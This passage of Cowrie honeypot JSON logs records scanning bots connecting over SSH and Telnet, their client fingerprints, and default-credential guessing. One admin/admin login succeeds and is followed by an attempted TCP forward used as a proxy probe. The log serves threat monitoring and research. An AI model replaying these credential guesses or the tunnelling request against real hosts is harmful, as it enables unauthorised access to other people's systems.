{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":47916,"dst_ip":"10.17.0.5","dst_port":23,"session":"37968b2a1ea0","protocol":"telnet","message":"New connection: 194.195.250.213:47916 (10.17.0.5:23) [session: 37968b2a1ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:47.576625Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"197ee86d74ef","protocol":"telnet","message":"New connection: 162.253.42.116:39638 (10.17.0.5:23) [session: 197ee86d74ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:49.352395Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9aee02b8a6","protocol":"ssh","message":"New connection: 103.180.212.135:43654 (159.203.135.109:22) [session: 0d9aee02b8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:49.760128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:49.764686Z","src_ip":"103.180.212.135","session":"0d9aee02b8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:49.969471Z","src_ip":"103.180.212.135","session":"0d9aee02b8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11","message":"login attempt [ubuntu/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:50.778850Z","src_ip":"103.180.212.135","session":"0d9aee02b8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:51.974111Z","src_ip":"103.180.212.135","session":"0d9aee02b8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.296096324920654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:53.207104Z","src_ip":"162.253.42.116","session":"5ef4adcb66d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a6de4296ed","protocol":"telnet","message":"New connection: 162.253.42.116:42048 (10.17.0.5:23) [session: d4a6de4296ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:53.354432Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48428,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a315300285","protocol":"telnet","message":"New connection: 162.253.42.116:48428 (10.17.0.5:23) [session: 14a315300285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:56.651255Z"}
{"eventid":"cowrie.session.closed","duration":33.39968729019165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:02.047774Z","src_ip":"162.253.42.116","session":"35126aff003b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59616,"dst_ip":"10.17.0.5","dst_port":22,"session":"896a44738b44","protocol":"ssh","message":"New connection: 102.213.34.99:59616 (10.17.0.5:22) [session: 896a44738b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:04.647602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:04.652648Z","src_ip":"102.213.34.99","session":"896a44738b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:04.822768Z","src_ip":"102.213.34.99","session":"896a44738b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"0705bff80ae6","protocol":"telnet","message":"New connection: 194.195.250.213:37418 (10.17.0.5:23) [session: 0705bff80ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:05.275576Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"@Dasdd21dDWd1dwaDq","message":"login attempt [ubuntu/@Dasdd21dDWd1dwaDq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:05.535701Z","src_ip":"102.213.34.99","session":"896a44738b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:06.709771Z","src_ip":"102.213.34.99","session":"896a44738b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60628,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74ad50af3a3","protocol":"telnet","message":"New connection: 162.253.42.116:60628 (10.17.0.5:23) [session: a74ad50af3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:07.169326Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":48884,"dst_ip":"10.17.0.5","dst_port":22,"session":"25c60d2722e5","protocol":"ssh","message":"New connection: 165.154.5.173:48884 (10.17.0.5:22) [session: 25c60d2722e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:09.674077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:09.679146Z","src_ip":"165.154.5.173","session":"25c60d2722e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:09.894771Z","src_ip":"165.154.5.173","session":"25c60d2722e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.7507529258728,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:10.678511Z","src_ip":"162.253.42.116","session":"3380cc04659a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"laguna1","message":"login attempt [root/laguna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:10.788131Z","src_ip":"165.154.5.173","session":"25c60d2722e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:12.006225Z","src_ip":"165.154.5.173","session":"25c60d2722e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.16720509529114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:12.606768Z","src_ip":"162.253.42.116","session":"f18fce180c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58579754829407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:14.166826Z","src_ip":"116.203.138.199","session":"d4e191603ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad002dfa368","protocol":"telnet","message":"New connection: 162.253.42.116:42740 (10.17.0.5:23) [session: 8ad002dfa368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:16.794370Z"}
{"eventid":"cowrie.session.closed","duration":33.77278780937195,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:19.649574Z","src_ip":"116.203.138.199","session":"61ded9132a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4097683429718,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:20.748990Z","src_ip":"162.253.42.116","session":"b25ecadc8d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ccaecc2c458","protocol":"telnet","message":"New connection: 162.253.42.116:48440 (10.17.0.5:23) [session: 4ccaecc2c458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:21.847340Z"}
{"eventid":"cowrie.session.closed","duration":36.47484636306763,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:24.051279Z","src_ip":"194.195.250.213","session":"37968b2a1ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51916,"dst_ip":"10.17.0.5","dst_port":23,"session":"476a8e676f76","protocol":"telnet","message":"New connection: 162.253.42.116:51916 (10.17.0.5:23) [session: 476a8e676f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:24.942009Z"}
{"eventid":"cowrie.session.closed","duration":36.16901087760925,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:25.521314Z","src_ip":"162.253.42.116","session":"197ee86d74ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40716218948364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:27.761504Z","src_ip":"162.253.42.116","session":"d4a6de4296ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55152,"dst_ip":"10.17.0.5","dst_port":23,"session":"13451e13164b","protocol":"telnet","message":"New connection: 162.253.42.116:55152 (10.17.0.5:23) [session: 13451e13164b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:27.849464Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":57918,"dst_ip":"10.17.0.5","dst_port":22,"session":"c582f9e53499","protocol":"ssh","message":"New connection: 45.148.10.121:57918 (10.17.0.5:22) [session: c582f9e53499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:27.995649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.001223Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50358,"dst_ip":"159.203.135.109","dst_port":22,"session":"af7e4e250dc0","protocol":"ssh","message":"New connection: 159.203.92.129:50358 (159.203.135.109:22) [session: af7e4e250dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.030549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.035466Z","src_ip":"159.203.92.129","session":"af7e4e250dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.040497Z","src_ip":"159.203.92.129","session":"af7e4e250dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.091917Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anastacia","password":"anastacia","message":"login attempt [anastacia/anastacia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.120418Z","src_ip":"159.203.92.129","session":"af7e4e250dc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.349232Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.437981Z","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.526137Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.529824Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.618613Z","src_ip":"45.148.10.121","session":"c582f9e53499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"af6194390d2f","protocol":"ssh","message":"New connection: 45.148.10.121:57932 (10.17.0.5:22) [session: af6194390d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.700694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:23:28.704971Z","src_ip":"45.148.10.121","session":"af6194390d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","cha